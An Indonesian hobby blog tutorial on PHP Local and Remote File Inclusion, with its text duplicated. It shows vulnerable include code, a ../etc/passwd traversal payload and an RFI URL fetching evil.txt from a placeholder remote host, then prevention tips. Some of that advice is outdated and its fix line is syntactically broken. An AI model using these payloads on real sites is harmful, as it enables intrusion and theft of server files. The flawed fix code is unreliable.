Tutorial Singkat RFI dan LFI
Jumat, 22 Februari 2019
Add Comment
Tutorial Singkat RFI dan LFI - Hai Semua, selamat datang di blog Noob1t4, Pada Artikel yang kalian baca kali ini dengan judul Tutorial Singkat RFI dan LFI, kami telah mempersiapkan artikel ini dengan baik untuk kalian baca dan ambil informasi didalamnya. mudah-mudahan isi postingan yang kami tulis ini dapat kalian pahami. baiklah, selamat membaca.
Sebelumnya apa sih LFI dan RFI itu??
LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.
Dengan syarat pada konfigurasi php di server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
contoh:
misalkan kita punya file index.php dengan content kodenya seperti ini,
misal $imagefile=image.php
mungkin di url akan terlihat seperti ini bentuknya
maka script ini akan menampilkan halaman image.php.
nah disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.
misalnya attacker ingin mengakses file password yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah "../" itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target.
tapi seandainya terdapat error seperti di bawah ini:
Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
liat pada password ternyata dia ditambah dengan extensi ".php" berarti code yang digunakan untuk include adalah seperti ini
nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti
http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd
lalu untuk apa ? yaitu untuk menghilangkan karakter apapun setelah passwd.
* ini disebut null injection.
Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt
dengan file evil.txt misal berisi "hacked by n4is3n"
jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.
1. Memvalidasi variable.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,
maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt
dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.
Semoga tutor sederhana dan sangat awam ini (Maklum, yg nulis jg msh awam) bermanfaat.
Sekian Artikel Tutorial Singkat RFI dan LFI.
Sebelumnya apa sih LFI dan RFI itu??
LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.
Penjelasan
fungsi-fungsi yang dapat menyebabkan LFI/RFI:
Code:
include();
include_once();
require();
require_once();
Dengan syarat pada konfigurasi php di server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
contoh:
misalkan kita punya file index.php dengan content kodenya seperti ini,
Code:
<?php
include "../$_GET[imagefile]";
?>
misal $imagefile=image.php
mungkin di url akan terlihat seperti ini bentuknya
Code:
http://www.[target].com/index.php?imagefile=image.php
nah disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.
misalnya attacker ingin mengakses file password yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah "../" itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target.
tapi seandainya terdapat error seperti di bawah ini:
Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
liat pada password ternyata dia ditambah dengan extensi ".php" berarti code yang digunakan untuk include adalah seperti ini
Code:
Code:
<?php
include($_GET[imagefile].".php");
?>
nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti
http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd
lalu untuk apa ? yaitu untuk menghilangkan karakter apapun setelah passwd.
* ini disebut null injection.
Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt
dengan file evil.txt misal berisi "hacked by n4is3n"
jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.
Pencegahan
Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu1. Memvalidasi variable.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,
Code:
include("./"$_GET[imagefile].".php");
maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt
dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.
Semoga tutor sederhana dan sangat awam ini (Maklum, yg nulis jg msh awam) bermanfaat.
Sekian Artikel Tutorial Singkat RFI dan LFI.
Terima kasih telah membaca artikel Tutorial Singkat RFI dan LFI, mudah-mudahan bisa memberi manfaat untuk kalian semua. Baiklah, sampai jumpa di postingan artikel lainnya.
Semua artikel tutorial di blog ini hanya untuk sebatas Pembelajaran dan Pengetahuan saja, jika kalian meyalahgunakan tutorial di blog ini, itu bukan tanggung jawab saya. Terima kasih sudah berkunjung ke blog Noob1t4, saya harap agan berkunjung kembali kesini
0 Response to "Tutorial Singkat RFI dan LFI"
Posting Komentar